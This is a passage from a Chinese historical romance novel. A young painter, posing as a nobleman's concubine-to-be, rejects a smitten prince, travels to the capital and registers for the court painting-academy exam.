黄时雨垂眸,“好吧。” 简珣不自在地摸了摸鼻尖,“反正这法子我牺牲最大,你可不要趁机占我便宜。” 天爷,她还怕他趁机占她便宜呢! 黄时雨愁容满面。 简珣将身后的石凳擦干净,拉她坐下慢慢说话。 “今年我们就在京师过年吧,不过除夕我得在安国公府,初一我再回家陪你。我家在京师的宅院比泽禾的还要漂亮,足够你玩了。” “夫人不回去吗?” “我阿娘不回,她要在泽禾为我阿爹守孝九年。” 但阿娘让他回去,因为伯祖父看重他。 能得伯祖父喜爱的小辈无不在他膝下承欢,前途无量。 黄时雨垂眸,嗫嚅道:“要不我先把你有求于我的事办了吧。” 不然她受之有愧。 简珣笑了笑,偏头看着她,“不急,现在办不了,我记得你的承诺,倘若你也记得……莫要辜负我。” 黄时雨不服道:“我没辜负过你。” 简珣淡笑,“好。” 沉默片刻,简珣轻语道:“梅娘,如此一出,将来你再说亲可就有些麻烦,我的意思是……嗯,我可以负责的。” “嫁不出去才好。”黄时雨把玩着简珣摘给她的芙蓉,“方才我就想通了,嫁人是为了生存,而做画员就能很好的生存,我干嘛还要去别人家里寄宿。” 她看向他,于心不忍道:“倒是你,清白或多或少因我受损。” 但她是个讲义气的姑娘,“这样吧,等考试结束我帮你向表妹澄清误会。” 简珣神色倏然就冷了,“管好你自己,少管我的事。” 黄时雨凝噎,狗咬吕洞宾不识好人心。 哭过的眼睛和鼻尖儿都红红的,难免引人侧目,简珣带黄时雨去泉口洗脸,又怕她掉进水里,就让她坐在天然的石凳上,自己洗净帕子,再递给她擦脸。 黄时雨在脸上胡乱抹了抹,问他:“现在干不干净?” 简珣轻轻抬起她小脸,俯身又为她擦了一遍。 几个少年人结束蹴鞠也过来洗脸,两厢就这么遇上了。 那几人全都认识简珣,不由意味深长嬉笑起来。 “允璋,怪不得今儿不同我们玩,原来是外面有人了。” 简珣挡在黄时雨身前,“她本来就是我的,什么外面里面。” 这般护着,说明不是粉头,倒不可顽笑。 少年们拍拍简珣肩膀,知礼地绕去另一面洗脸。 只有韩意淮动也不动。 昂然立在原地。 黝黑眸子冷冷凝视黄时雨,却被简珣挡住,他便冷冷睨视简珣。 短短须臾,看似平静,实则兵戈铁马,拳拳到肉。 简珣道:“思渊兄要用这里,我们走吧。” 他攥住梅娘的小手。 韩意淮的目光就落在他们的手上,十指相扣。 黄时雨大气也不敢喘,低头紧跟简珣。 却忽听韩意淮道:“你还要不要那头驴?” “要的。”黄时雨回。 “那就自己来牵,不然我吃了它。” 韩意淮似是嫌弃手里的鞠多余,举手摔在地上,又狠狠撞开简珣与黄时雨扣在一起的手,径直扬长而去。 黄时雨有片刻的惊慌,那头驴很值钱。 简珣却用力攥住她,“他想吃就吃吧,钱我赔给你,你不要过去。” 其实他更想问肃王为何会有梅娘的驴。 借她一百个胆子也不敢去的。黄时雨摇摇头,“不用你赔,这不关你的事。” 简珣面色如常道:“他是肃王殿下。” 黄时雨一晃,脑子里始终接不上的那根弦终于接上了。 一切不合理瞬间都变得合理。 怪不得。 原来如此。 他是肃亲王。 其实肃王的脾性在几位王爷中算相当爽朗的一个。 但肃王是男的,作为男子的简珣十分了解那些隐秘的阴暗的心思。 所以他告诫黄时雨远离韩意淮。 不用简珣告诫,黄时雨也知该怎么做。 王爷要吃驴,那是驴的福气。 她不要了…… 不过肃王殿下并不是来念书的,而是公务在身,过不多久便会离开,而她也将离开,大家以后应不会再生交集。 想到此,黄时雨又轻松起来,迈着轻盈步子回家。 简珣满脸凝重。 即将分别三月之久,黄时雨最舍不得的当属姐姐,可她实在拉不下脸求简珣把她的姐姐也捎上,那就真的很无耻。 黄时雨回去抱着黄莺枝说了大致情况:原本不用面试的画考不知为何又改了主意,如今她只能随简珣回京,最多不过百天就回来。 铁了心非要考进画署不可。 黄莺枝认真听妹妹把话说完,只问她:“可还记得姐姐叮嘱过的那些话。” 黄时雨用力点头,“全都记得呢,放心吧,我不让简允璋碰我,也不喝避子汤。” 黄莺枝没说什么,轻轻拍了拍妹妹,目光投向了琥珀。 琥珀默然点头,理解大小姐的意思也答应大小姐看护二小姐。 黄莺枝淡淡道:“一荣共荣,一损俱损,二小姐的未来便是你的。” 琥珀肃然道:“是,大小姐,我谨记。” 是夜,姐妹俩头挨着头说了半宿的话,有欣慰也有怅然。 十九那日,黄时雨提着五层攒盒来拜见华山长,先告诉他第一层点心最好今日吃掉,否则就失了口感,剩下四层则可以久放一段时日。 “先生,我将远行百日,所以按您口味专门多做了一些,您慢慢吃,接下来这段时间暂时由铺子小伙计送餐,等我回来再亲手给您做。” 说罢,黄时雨将自己此去的原因和目的详说一遍,最后给华山长郑重其事地磕了三个响头。 “我把小册子暂且交给花婶保管,她会按照上面的记录做符合您口味的糕点,绝对不比我差。” “此去一别,每个月我都将给先生写信,还望先生莫要嫌我啰嗦。”黄时雨毕恭毕敬。 华山长的小厮连忙上前搀扶她起身。 华山长点点头,“好,我等你好消息。” 他又语重心长道:“小丫头,投机取巧避开面试并不可取,面试的存在自然有它的道理,存在即合理,凡事讲规矩,此行于你来说或许是另一种收获。” 黄时雨自是一一记在心里。 诸事安排妥当,再有两日便是霜降,凉秋如霜,但黄时雨的心热腾腾的。 却怎么也没想到肃王牵了头驴亲自来铺子找她。 幸而他这回来的后院,而不是人多眼杂的大堂。 却也足以把个黄时雨吓得魂不守舍。 姐姐、花婆婆、花婶打量她的眼神越来越复杂。 已经有了姑爷,再与外男牵扯不清不太好吧。 虽然这个玉人似的小子特别俊。 黄时雨想告诉大家这是肃王,然后一起给思渊磕头,又想起肃王是微服,微服的意思就是不想宣扬身份,倘若她带领大家一起磕头,反倒惹事。 黄时雨抹了把冷汗,支支吾吾道:“倒也不用还驴,你喜欢吃就吃了吧,权当小的孝敬您的……” 一会“你”一会“您”的。 韩意淮一脸了然,嗤笑道:“果然简珣已经告诉你我是谁。” 时下连名带姓称呼已经取表字的男子相当失礼,肃王连情绪都不遮掩了。 “他也是一片好意,我一个乡下姑娘又不懂规矩,再不清楚您身份不知得惹出什么罪过来。”黄时雨不停朝姐姐她们使眼色:别看了,快走吧。 黄莺枝等人就进了厨房。 黄时雨知道她们正躲在门板后偷听偷瞧,心一横,便跨出门槛把大门关紧,同肃王站在门外说话。 “您别介意,她们并没有恶意,就是担心我,呃,担心我红杏出墙。” 韩意淮笑了,“你算哪门子红杏,简珣又不娶你。” 既然能做简珣的情人,为何不能做他的? 年轻的肃王殿下无法忍耐这种从欣喜到焦虑的过程。 从未经历过患得患失的人,一时间难以适应,也就益发愤怒和不甘,他不解自己输在了哪里。 黄时雨狡辩道:“怎么不算,大家都知晓我是他的贵妾,两家长辈也早就同意,我们还定过文书,不信你去县里查,只不过为了我考画署才暂时销掉。” 贵妾? 肃王怔了怔,像是个理亏却又倔强的孩子,不愿低头也不愿退让。 他一瞬不瞬看着黄时雨。 黄时雨盯着脚面。 “他给你多少银子,我也有,我给你五千两好不好?”韩意淮还想挽回。 黄时雨心道这么多,我又涨价了。 她自嘲一笑,摇了摇头。 “我们一起去京师的路上明明很开心,我还没带你去看十锦亭的雪,逛元宵节的鳌灯会,以后……我一定对你更好。”韩意淮几度思量,急于表现的他,渐渐落了下乘,“那我许你侧妃好不好,我还没成亲,王府只有你,我们每天在一起。” 黄时雨想笑,又险险地咽了下去,斟酌道:“殿下,这又不是小孩子做游戏,他给个贵妾你就给个侧妃的。” “选择相伴终身的人岂能儿戏,每个人的感情皆弥足珍贵,怎能随意相待,不若好好留存送给你最该珍惜的人吧。” 她把真心话说给韩意淮听,因为这不只是肃王,也是帮过她的少年郎。 她回报他一番赤诚。 韩意淮有片刻的失神,几乎要被她绕进去,却又觉得不仅如此。 他不仅如此的。 但他也确实是羞恼不甘心的。 明明不是输不起的人,却为何变成了输不起。 韩意淮嘴角绷得紧紧的,“用不着你教我做事,我只问你,你确定选他了是不是?” 黄时雨觉得跟他说话有鸿沟,只能敷衍道:“是的,殿下。” 韩意淮眼圈就红了。 用力攥着手心。 年轻的肃王殿下是个骄傲的少年郎,你既无情我便休。 他捧着炽热的心,被黄时雨无视,即便自己有无数手段得到她,然而他不屑。 从今往后,就算她跪下求他,他也不会再垂怜回顾她一瞥。 他在心里说后会无期,就恨恨瞪了黄时雨一眼,朝着书院的方向走去。 年轻人遭遇一点挫折不见得是坏事。 肃王殿下在女孩子那里栽个跟头也没关系,因为他有很多漂亮的女孩子,不乏比黄时雨还漂亮的,且更温柔懂事。 哪怕他轻轻蹙一下眉头,她们就知道该如何哄他开心。 总之样样都胜过黄时雨。 谁要搭理那个乡野坏丫头。 这样想着,肃王殿下哭了。 第43章 玩物 肃王倒是一走了之,余下黄时雨有苦说不出。 此刻能理解她心情的唯剩琥珀。 黄莺枝立在院子中央打量妹妹片刻,冷着脸道:“跟我进屋。” 黄时雨牵着小毛驴不知所措,被花婶推了一把,“快走吧,你姐姐要同你说话。” 成长就是一个学会了说谎再学会圆谎的过程。 当黄时雨察觉自己在面对姐姐的路上已经想好了各种说辞,就惊叹自己原来也是个坏姑娘了,心眼越来越多。 黄莺枝望着小心翼翼靠近的妹妹,话未出口又先叹了一声。 最近的她时常叹气。 妹妹花容月貌,避免不掉蜂扑蝶绕,有少年郎思之若狂再正常不过,却也后患无穷。 不管男女,若无三心二意的资本却行三心二意之事,断不会有好下场。 那小公子通身气魄一看便知出身不凡,非梅娘所能驾驭之人。 黄莺枝唯恐妹妹拿错主意,稍稍把握不好,惹男子由爱转恨,必将追悔莫及。 “梅娘,我明白女孩子有很多身不由己,尤其你这样貌美的,姐姐希望你恪守初心和做人的底线,勿骄勿贪,方能避开情祸,知道吗?” “嗯,姐姐,我记下了。”黄时雨柔顺道。 原以为姐姐会劈头盖脸训斥一番,不意语气竟是如此温柔。 黄莺枝伸手拉起妹妹的手,“我也不追问你如何招惹了那俊美的小公子,只跟你说几句体己的话,你可以不爱简少爷,但是不能不尊重他,除非他对你不好。你们是要和和睦睦过一生之人,是搭伙过日子的伙伴,伙伴之间最珍贵的莫不是信任,容不下背叛。” 黄时雨信誓旦旦道:“我永远都不会背叛简允璋的。” 没有人会背叛自己的朋友。 否则,就再也不是朋友了。 黄莺枝听着少女尚且稚嫩的誓言,笑了笑。 接下来的日子整理箱笼,黄莺枝和琥珀在这期间为黄时雨赶制出两身簇新的冬衣,再加上琥珀此前做的三身,足够黄时雨在京师过好冬月和腊月。 琥珀道:“到了那边我再给二小姐做两副手衣面衣,保管捱不着霜雪。” 只是不能在上面多绣些二小姐喜欢的花儿了。 不过日子长着呢,先应付眼下,花却可以慢慢绣。 黄莺枝将黄时雨整理好的物件再三清点,方才安心,叮嘱她穷家富路,遇到为难的事万不可心疼银钱。 “嗯嗯,姐姐放心,我肯定照顾好自己,而且我早就是及笄的大姑娘了!”黄时雨的脑袋不停点着。 在她没注意的某一刻,姐姐把自己的十两积蓄悄悄塞在了箱笼的最底下。 依附简少爷的妹妹吃穿住行自然都是顶好的,十两银子或许还不够她买朵花戴,但却是实打实的私房。 女孩子总要有一笔完全属于自己支配的银钱。 黄莺枝将妹妹去年的手衣面衣以及惯用小物件装进最后一只箱笼。 拢共整理了五只。 后方一切妥当,前路未明却充满希望。 黄时雨干劲十足,粉靥都比平时红润些许。 简允璋总有办法让不可能的事变成可能。 殊不知画署取缔“特例”一事不仅让黄时雨这样的小人物兵荒马乱一阵,也让另外十一个公子小姐下不了台,家世硬一些的径直找到画署的上官。 然而画署上官并无采选画员的实权,找他们也没用。 画署所能做的无非辅助与配合,譬如监管、报名、布置、宣发之类。真正说了算的还得是石上居阁主。 阁主大人不是画署的上官,却能决定画署所有人的命运甚至是生死。 因为阁主不仅仅是石上居的阁主,亦是骁影卫的左统领,皇帝最信任的人之一。 执刃的手哪怕执上画笔,掌了天下画事,行事作风也是一样的雷厉独断。 世家公子小姐投身画道,爱好是其次,主要为自己塑金身,毕竟不是所有人都擅长念书科举,但当这条路必须付出超过他们预期的困难,那不走也罢。 终归摆在他们面前的又不止一条路,这条不行还有另一条,总有一条没有荆棘的平坦大道等着他们。 如此一来,十二个特例竟只剩黄时雨还在坚持,并且准时抵达京师。 在黄时雨抵京前,当日亲自助她填写手实(注:类似身份证加户口本,乃至更详细的个人资历)的祗候也没闲着。 甫一得知“特例”取消,他忙不迭禀明上官: “今年特例中有位黄姓姑娘,相较其他人更为特殊,是肃王的人,直接在府衙报了名,还是下官前去操办的。” 所以也亲眼见证了黄姓姑娘的特殊。 牵扯到肃王,画署几位上官面色果然都不太好看。 又到了背黑锅和分锅的重要时刻。 谁也没想到今年的“特例”竟掺进了皇室宗亲。 闻道芝面色如常,询问祗候几句关于黄姓姑娘当日报名的细节。 祗候便把所见所闻如实交代。 甚至还加了一句“姑娘盯着手实,肃王盯着姑娘”。 话都说这么明白,在场之人也就无一不明白。 取消黄姑娘“特例”,形同打肃王脸。 众人犯难,只好一齐看向令他们难做的罪魁祸首——石上居阁主,小闻大人。 小闻大人今年才满二十二,已居在座所有人上首。 他斜倚矮榻,似笑非笑,“一个玩物而已,就把红袍加身的诸君唬成这般,委实窝囊。” “此事,我自会与肃王打招呼。”闻遇拂了拂宽大的锦袖,“你们只管按章程办事。” 黄姓姑娘不在帷帐内专心伺候肃王,反倒将手伸进画署,把这里当成她的红粉战场了么? 韩意淮廿三就回到了京师。 太后惊喜不已。 泽禾的差事八月初已了结,他却迟迟不思归,为此太后早就心生不满,如今见他立冬前乖乖来给自己请安,所有的不满顷刻间就烟消云散,唯余满心疼爱。 当下就要安排韩意淮在雪阳殿留宿。 无奈孩子大了有很多自己的心思。 韩意淮立即拒绝,“母后,宫城乃皇兄起居所在,永寿宫附近亦遍布皇兄内帷,而儿臣早就不是小孩子,是年满十七的男子汉,又有自己的府邸,于情于理都不应再留宿宫城。” 即便是血脉相连的手足也该避嫌。 皇兄不仅是他的哥哥,亦是天下万民的九五之尊,他不能不敬。 太后无比伤感。 长子贵为天子,打小就端着,连抱一下都是奢侈,皇孙又都有自己高贵的生母,来她膝下承欢也是端着的,唯有阿淮是她亲手养大,想怎么抱就怎么抱,每天都可以捏捏他奶香的小脸儿,殊不知奶香的小人儿长得飞快,仿佛瞬间就变成了他父皇的模样,高大到令人仰望。 “去吧。”她失落道。 韩意淮立刻道:“母后不必伤心,儿臣每天都会过来给您请安的,怕只怕您嫌烦不想看见儿臣呢。” 太后转悲为喜,“贫嘴。” 他不仅会哄母后开心,也会哄女孩子的,小木头明明也很开心,却转头就跟简珣跑了。 韩意淮离开永寿宫,笑意渐渐消失,眉间低落。 不想再听到任何与小木头有关的事。 闻遇却偏偏上门提及她。 “你们有自己的章程,该怎么办就怎么办,以后不要再来问我。”韩意淮冷声道。 “殿下拿自己名帖为她开路,大家才不免多思,而今殿下放话,我想所有人都可以安心了。”闻遇是个相当干脆之人,得到想要的回答,起身告辞,头也不回。 韩意淮的神色就绷不住了,“闻遇。” 闻遇回身淡淡望着他,“殿下还有何吩咐?” 韩意淮扯了扯嘴角,眸光纠结。 闻遇收回目光,抬脚离开。 他没空掺和肃王与小玩物的情感拉扯。 话分两头,廿九这日黄时雨从泽禾出发。 即将在京长住近百日,此行车马仆从浩浩荡荡,莫不令她眼界大开,简允璋家的马匹车舆可真多! 与上次进京的心态整好相反,此番的黄时雨轻松且愉悦,对新鲜事物充满了好奇,一路上眸光生动,有止不住的神采溢出。 还未立冬,秋风并不伤人,明瓦车窗大敞,简珣与她并肩一道望向沿途风景。 “简允璋,那是什么?”黄时雨拍拍身边人的手臂。 “钟鼓楼,为附近寺庙而设,还可以报时,其实和泽禾的小钟楼差不多,只不过造的更大了些。” 原来如此。黄时雨受教。 “梅娘。” “嗯?” “别忘了身份,得改口叫阿珣。” 其实叫允璋也可以,但是他想听她叫“阿珣”的声音,如果是阿珣哥哥就更好的。 黄时雨红唇微翕。 简珣调开视线,“你没发现此行多了一个曹妈妈?” “发现了,她有什么特别之处吗?” 简珣的脸上倏地涌现一丝羞涩,期期艾艾道:“阿娘不放心我和你,又拗不过我,就安排曹妈妈服侍我们。她老人家经验丰富,慧眼如炬,你小心些,莫要露出马脚。” 黄时雨大惊失色:“是不是夫人发现咱俩欺上瞒下,特特派遣心腹监视取证!” 简珣噗嗤笑了,“傻瓜,若真如此,岂还有你坐在这里的机会。” 也是。 总是心虚便一时失了智,黄时雨把心捺回肚子里。 曹妈妈此行除了服侍少爷,还有另一项差事,相当于教引嬷嬷。 简珣只是到了大康律法上成亲的年纪,却不代表长辈觉得他就是一个成熟郎君。 相反他未经人事,却心智早熟,日夜与美妾相处,那么该发生的自然都会发生。 程氏的本意是希望简珣再等上半年。 可架不住他坚持要带,又再三保证不“弄出人命”。 情窦初开的少年郎,被迷得魂不守舍,一味管束不加疏导,反倒对身体有害无益。 程氏思量再三,终于首肯。 又考虑二人都不知事,放任不管的话,明年归来说不定就揣了个庶长孙。 所以当即指派心腹曹妈妈相随。 曹妈妈此行少不了也要指点简珣身边的丫鬟,毕竟她们也都还是姑娘,将来面对主子行帷帐之乐,怎能不懂夜间要水,拾掇床铺之类的规矩。 必要时刻也能教黄时雨伺候夫君之道,当然,重中之重是提醒少爷避子。 程氏给的避子药每份只能煎一碗,对女子身体影响微乎其微,价格自然也贵得离谱。 用在妾室身上不可谓不奢靡。 客观来说,这在时下绝对算一个宽厚仁善的婆母。 简珣红着脸告诉黄时雨曹妈妈将是二人的教引嬷嬷。 教引嬷嬷乃勋贵世家服侍并教授嫡子嫡女们规矩礼仪的嬷嬷,地位同乳母差不多。 以上是明面儿上的职责,私下还有指点年轻主子知人事的重任。 他什么都懂,却又不能说给什么都不懂的梅娘听,于是换了种方式,直接告诉她应该怎么做,以及不这么做的后果。 如此一来,梅娘的注意力就全在后果上。 而露馅的后果则是她万不能承受的。 黄时雨不情不愿道:“改口喊阿珣也没什么,就是,就是,咱俩不能在一张床上,我才不要与你生娃娃!” 这是她的底线。 简珣垂眸,声若蚊吟:“我也不稀罕与你生。” 她伤心道:“可是躺在一起就会生的。” 简珣面无表情,“男子和女子只有两情相悦,行鱼水之乐才会凝结骨血,从未听说只躺下什么也不做就变出娃娃,那咱俩,上次你还趴在我怀里哭的,怎么就没有娃娃?” 黄时雨哽住。 “小呆子,只躺着生不了,我们中间再放个枕头,隔开楚河汉界,什么事都不会有。” “真的吗?”黄时雨噙着泪看他。 “千真万确!”简珣面如火烧,“难道我的清白就不算清白,我还怕你欺负我呢。” 黄时雨捶他道:“你想得美!” 简珣连忙攥住她腕子,提个醒:“曹妈妈在的场合,你可莫要打我。” 黄时雨抿了唇点点头。 “别怕,通过第一轮‘粗面’,你就得搬去画署安排的舍馆,每个月也只有三天旬假,咱俩见不了几面的,我再找借口睡两天书房。” 他也不想与她共处一室,然而费那么大劲带在身边的贵妾,不留宿根本不合常理。 以曹妈妈的能力,用不多久就会察觉。 秘密一旦被察觉,黄时雨比谁都清楚后果。 她几次咬紧下唇,磕磕巴巴道:“那,那我信你,也听你的安排,我信你了,你就不能骗我。” “好哭鬼。”简珣单手轻柔拭去她泪珠。 不管多下流的心思,他也只会放在心里想,断不会利用她的无知占有她 梅娘天真无邪。 他与她的鱼水之乐,一定是在她清楚自己将对她做什么,并同意的前提下。 黄时雨扭过身,靠桌支肘,双手捧着小脸,呆呆望向对面窗外,“阿珣。” “嗯?” “你陪我费这么大周折,倘若我没考上……” 她神情落寞,若是考不上,什么都没了意义。 若是考不上,他就不用每天懊悔和心痛了,然后偷着乐许久。简珣轻轻攥了攥她双手,又讪讪松开,“考不上便考不上,我养你。又不是只有当了画员才能作画,不如我给你开一家画阁,你好生经营,赚足银钱名气再养我。” 他笑吟吟道:“我出钱你出力,咱俩可真是天生一对。” 连画署都考不上的人,去哪里赚名气。她知道他在安慰自己。 黄时雨努力甩掉负面情绪,努力想开心的事。 中途打了个盹,再醒来已经到了京师。 第44章 极奢 时下京师最为人熟知的琅琊简氏分两府:盛平坊的安国公府以及宣道坊的简府。 二坊相临,二府便也距离不远。 简府人丁凋零,但简府的气派可一点也不凋零,乃简老太爷在世时花费近十年精心打造。 昔年老太爷热情好客,不少名流雅士以游览过简府的不二梅斋为荣。 随着简大人英年早逝,简夫人携幼子迁居泽禾,京师不少豪族勋贵慕名问价,甚至有贵人请掮客问到了安国公面前。 可惜简夫人不卖。 众人废然而返。 黄时雨透过车舆纱窗张望,全然陌生的道路,整齐平坦的青石板大道,比县里最好的还要宽数倍,随着马车行进,一副华丽的人间画卷逐渐铺陈眼前。 高台红楼,连绵十里,把个黄时雨看得目不暇接,满耳笙歌鼎沸。 直到驶入宣道坊,人间仿佛被立即分切成两半,喧闹繁华落幕。 迎接她的是另一种严肃的贵气,静谧深沉,高墙朱门巍峨楼宇隐现。 简允璋在京师的家可真大呀。 比她想象中的天宫还富丽堂皇。 简珣并不着急下车,而是等男仆家丁将行李尽数搬运离开,才扶黄时雨下了车。 陌生的仆妇丫鬟一拥而上,施礼的施礼,问安的问安,簇着主家回府。 考虑少爷和黄二小姐舟车劳顿,体贴入微的管事安排了一辆轻便的小骡车代步。 黄时雨脚不沾地回到了住处,还不等与琥珀说两句话,就被三四个漂亮的丫鬟团团围住,伺候净面净手喝茶。 喝茶期间又来两个小丫鬟一左一右为她揉腿按摩,谓之解乏。 她整个人是有点蒙圈的。 原来简允璋每天过的都是这种日子。 他与她分明是两个世界的人,竟玩到了一处。 见过世面的琥珀也稍微有点束手束脚,被小丫鬟们一口一个姐姐叫着,她怎么安排,她们就怎么规整,不多会儿便将黄时雨的箱笼整理好。 黄时雨居住的园子名曰香雪居,捶腿的小丫鬟解释:“咱们园子以西府海棠为主,每年初春花海绚烂,暮春时节花落如三尺香雪,因而得名香雪居。虽说小姐暂时错过了最美的季节,但园子里也有秋景和冬景,亦是格外用心布置的。” 黄时雨苦练的情绪不外露此时小有所成,尽管心中沸反盈天,一张小脸看起来竟还平静,偶尔浅浅一笑。 不知该作何回应的话便少说话,浅淡勾勾嘴角,即能蒙混过去。 再出奇的景儿都不能令黄二小姐失张失智。 曹妈妈在心里点点头。 晚膳摆了满满一炕桌,看得出厨娘花的心思,十六道菜肴有六道是泽禾口味的。 拿不准未来姨娘的喜好,那就做姨娘的家乡菜,断不会出错。 小丫鬟来禀:“少爷去国公府请安被留了饭,晚上可能也不回府,请小姐自行休息不必等他。” 黄时雨如蒙大赦,算简允璋有良心,找的理由比睡书房更踏实。 晚膳后仆婢陪同她和琥珀逛园子消食,聊天解闷。 等她走累了回到房间,隔壁的净房已经准备好沐浴香汤,宛如一方小池子大小的木桶铺满了花瓣,水汽氤氲,赤足踏上砖台竟是暖的! 洗个澡而已,这得烧多少炭火? 最震撼的还是她寝卧那张拔步床,闻所未闻。 整个寝卧被隔扇分成两间,外面有榻亦有茶桌香炉坐垫,属于很私人的会客厅或者休憩间,一般只有贴身仆婢进来,服侍起居。里面则属于主子最私密的空间,纵使贴身仆婢,在无明确应允下也不可随意踏入。 这片绝对私人的空间放着一张巨大的拔步床,以及女主人梳妆的台面椅凳,灯架衣架,造型清雅精美,其他箱柜则隐在屏风后。 这哪里是床,简直就是一个更小的房间。 赤足就能走下去,踩着裘毯,像是狐裘,毛绒绒,软如绵。拔步床内也有箱柜桌台,更精致的梳妆台面。 还有一只圆鼓鼓厚嘟嘟的暖窠子,放着烧开的泉水,丫鬟说里面的水即便明早用也还是温热的。 黄时雨仰面往后栽倒进被褥,又香又软,轻柔若天上的云朵,应是填充了蚕丝的缘故,比普通的棉花被褥更舒适。 她在被褥上滚上两圈,横着睡竖着睡都没问题。 脸颊蹭了又蹭,爱不释手。 这一日过的,被无边富贵揉圆搓扁,反复震撼。 她嘴角挂着甜甜的笑意沉入梦乡。 下辈子争取投个好胎,像简允璋一样。 次日初一,去画署领号牌的日子。 琥珀取来帷帽为黄时雨戴上。 大康的女子倒也不是不能在外露脸,但讲究一些的小姐会在男子扎堆的地方戴一顶帷帽。 隔绝一些没规矩的男子视线。 帷帽刚好遮住脸颈,比长及脚踝的幂篱轻便,行动灵活不碍事儿,很适合黄时雨的身份。 简珣虽未回府,却早就指派一名对京师大街小巷熟稔于心的管事娘子随行。娘子姓方,方娘子伶牙俐齿,双目炯炯有神。 黄时雨道一句“有劳娘子了”,一行人便赶往了画署。 曹妈妈再厉害也只不过是内宅仆妇,能识字断文已然高于绝大多数奴仆,但绝对不会清楚画署的规矩,就像很多老百姓不懂科举考试乡试、会试、殿试有什么不同,以及何时考一样。 其实又何止是她,不涉此道即便名门望族也不一定全然了解。 因而,在她眼里,只要少爷允许,以贵妾之身参加画考的黄时雨很正常,而且这也不是她该操心的,她的职责是调理小丫头们伺候好少爷。 甫一踏进醴泉坊,同想象中的不太一样,虽说有不少人,但大家都很知礼,无人喧哗挤挨,一个个都规规矩矩按照木牌的指示去做该做的事。 方娘子道:“醴泉坊并不算真正的画署,只是一处报名的据点罢了。” 真正的画署衙门在皇城内。 偌大的京师组成实则很简单:宫城、皇城、外郭城。宫城不必细说,是皇帝的家,高耸入云的宫墙外则是皇城,分布着大康九卿六部以及内阁的署衙,而皇城外面就是外郭城,居住着京师的勋贵高官,大小百姓。 考生暂不属于画员,没有资格踏入皇城,故而只能在离皇城比较近的醴泉坊报名。 醴泉坊紧邻顺义门,不仅有比别处更多的金吾卫巡逻,还可能有骁影卫出没,没有人敢在这个地方惹是生非,连说话都是低声低气的。 方娘子讲了一个真实案例:“曾有外地恶霸不信邪,在醴泉坊附近打架,被金吾卫于百步外一箭穿心。这还算运气好的,因为金吾卫都是直接杀人,倘若落在骁影卫手里,他家里人也别想好过。” 黄时雨吓个透心凉,不知不觉也放轻了声音,连喘气也轻了。 方娘子连忙安慰道:“也没那么可怕啦,咱们一不械斗,二不携带兵器,人家金吾卫忙着呢,没空搭理咱们的。” 黄时雨勉强笑笑,抬眼便瞧见了一处只允许女子入内的领牌之所,门口站着两个表情严肃的妇人,拦住琥珀和方娘子,仅允许考生进入。 黄时雨提裙而入,绕过屏风来到了次间,就见一名四旬左右的女子坐在宽大的书案后,身侧立着两名仆婢。 女子自我介绍姓袁。 黄时雨立即欠身施礼:“袁大人,民女黄时雨,已经及笄,泽禾人士,家中排行第二,乳名梅娘,家父略有薄田铺面,秀才功名。” 边说边将自己的册籍与考生号牌呈上。 她所言并非赘余,而是依据规矩行事,考生需以口述的形式将手实所填种种重新报于考官听。 丫鬟接过黄时雨所呈,一一核对,确认无误旋身回明袁大人。 袁大人颔首,丫鬟才将册籍并考生号牌归还。 黄时雨连忙收好。 袁大人吩咐黄时雨原地转三圈,又命她朝向自己走十步,以此确定她四肢健全,而那两名丫鬟则上前检查黄时雨的牙齿和手足。 这些都还能接受,不意她们居然连她的腋下也未放过。 专门闻了闻。 黄时雨又痒又尴尬。 紧接着袁大人开始问问题,题目五花八门,奇奇怪怪,不过都不难回答。 最后才在黄时雨报名时上交的手实空白处填写容貌绝佳,神志正常,无残疾和异味。 丫鬟将大人写好的手实并一枚全新号牌递给黄时雨:“画署今年女考生数量稀少,所以领号牌和面试方可同时进行,但是男考生那边还需耽搁几日,请姑娘初六带上换洗衣物等私人用品前来此处分配舍馆。” 黄时雨道:“好的。” 另一名丫鬟又道:“画署每隔十日放一日旬假,东西不够自可回家补充,舍馆地方有限,切忌一次捎带过量,够用即可。” “好,多谢姑娘提点。” 又闯完了一关。 黄时雨迈出门槛深深地呼出一口气。 琥珀和方娘子上前恭喜她,从黄时雨的表情不难猜出事情进展顺利。 三人一路压低了声音说笑。 马车停在坊角附近,十步开外有一户小小院门,院门悬黑色牌匾,所书“武侯铺”三个鎏铜大字,怎么看都不像寻常百姓的居所。 方娘子道:“这是金吾卫巡逻驻地,每片坊都有,大小不一。在京师行走,只有朱雀大街以及皇城周围盘查频繁,严格宵禁,其他坊市则宽松如常,也极为热闹,小姐哪天若得了空,尽管吩咐奴婢陪您逛逛,保管令您尽兴。” 黄时雨颔首:“好,到时可就麻烦娘子了。” 方娘子满脸堆笑连称使不得使不得,应该的应该的。 香雪居的仆婢包括新分来的方娘子无不知晓黄时雨的真实身份,她是少爷内定的贵妾,不过大家口头上依然规规矩矩称呼小姐,只要一日未敬茶便一日是小姐。 按说以黄时雨的身份不应该下榻香雪居,这里是正头娘子的标准,然而事无绝对,标准都是主子定的,少爷觉得她配那她就配。 奴婢们都很乐意伺候得宠的姨娘,无不尽心尽力。 曹妈妈也无话可说。 男人都这样,少爷也是男的,这种事关起门在后宅也不至于上升到荒唐糊涂的地步,充其量算个年轻小郎君的风流佳话。 黄二小姐的福气还在后头呢。 只要正头娘子门第不高,性情温良,她这日子过得跟正妻有何分别,倘若长长久久拢住少爷的心,将来分她儿子多少家产还不是少爷自己说了算,便是关起门五五分,谁也不能怎么着。 命再好一些,儿子或许还能被少爷亲自教养,那未来可就出息了,挣个诰命也不是不可能。 曹妈妈一眼就能望见这位黄二小姐的锦绣未来,多少有点儿暗羡,黄家可不就是烧了高香,如此不入流的门第,仅靠一个闺女就彻底改变阶层。 人呐,命也。 这让奋斗一生而无门的布衣作何感想。 不同的人有不同的眼界,眼里看到的也各不相同。 曹妈妈所谓的锦绣未来从未出现在黄时雨的眼里,黄时雨眼里只有山川如画,自由自在。 她或许就未觉得会有男子珍爱她,也可能有,但无关紧要。 初一这晚用完膳,丫鬟又送来好消息:“国公府几位堂少爷邀咱们少爷参加诗社,玩了一整日,今晚怕是又不得空回府,少爷请您早些歇息,不必等他了。” 黄时雨努力捺平翘起的嘴角,细声细气道:“好,我知道了。” 小丫鬟福身告退,黄时雨跳起来一头扑进蚕丝软绸被褥,裹着滚来滚去。 香雪居的寝卧分内外,不同于泽禾的,这里软榻设在外面,她和简允璋根本无法实现分床而眠。 